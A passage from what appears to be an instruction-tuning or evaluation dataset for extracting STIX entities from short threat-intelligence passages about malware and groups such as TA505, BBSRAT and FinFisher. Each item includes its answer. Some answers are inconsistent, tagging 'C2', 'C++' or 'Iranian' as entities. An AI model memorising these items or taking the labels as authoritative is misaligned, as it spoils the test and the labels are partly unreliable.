    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n",
    "output": "<entities>Get2|FlawedGrace|FlawedAmmyy|Snatch|SDBbot|TA505|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNltest may be used to enumerate the parent domain of a local machine using /parentdomain.\n",
    "output": "<entities>Nltest</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHALFBAKED can obtain information about running processes on the victim.\n",
    "output": "<entities>HALFBAKED</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSkygofree is Android spyware that is believed to have been developed in 2014 and used through at least 2017.\n",
    "output": "<entities>Skygofree|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSslMM identifies and kills anti-malware processes.\n",
    "output": "<entities>SslMM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMany Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.\n",
    "output": "<entities>Borland Delphi|Misdat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMatryoshka can establish persistence by adding Registry Run keys.\n",
    "output": "<entities>Matryoshka</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBBSRAT uses Expand to decompress a CAB file into executable content.\n",
    "output": "<entities>BBSRAT|Expand</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSeaDuke is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.\n",
    "output": "<entities>SeaDuke</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.\n",
    "output": "<entities>NGLite|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFinFisher is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. \n",
    "output": "<entities>FinFisher|Wingbird</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEVILNUM is fully capable backdoor that was first identified in 2018. EVILNUM is used by the APT group Evilnum which has the same name.\n",
    "output": "<entities>EVILNUM|Evilnum</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n",
    "output": "<entities>Group5|njRAT|NanoCore|DroidJack|Android|Iranian|Syrian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChimera has used Windows admin shares to move laterally.\n",
    "output": "<entities>Chimera|Windows|Windows admin shares</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOnionDuke can use a custom decryption algorithm to decrypt strings.\n",
    "output": "<entities>OnionDuke</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChaes has added persistence via the Registry key software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help.\n",
    "output": "<entities>Chaes|microsoft|windows|software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAbstractEmu is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. AbstractEmu was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.\n",
    "output": "<entities>AbstractEmu|Google Play|Android|United States</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBBSRAT can query service configuration information.\n",
    "output": "<entities>BBSRAT</entities>"
  },
  {
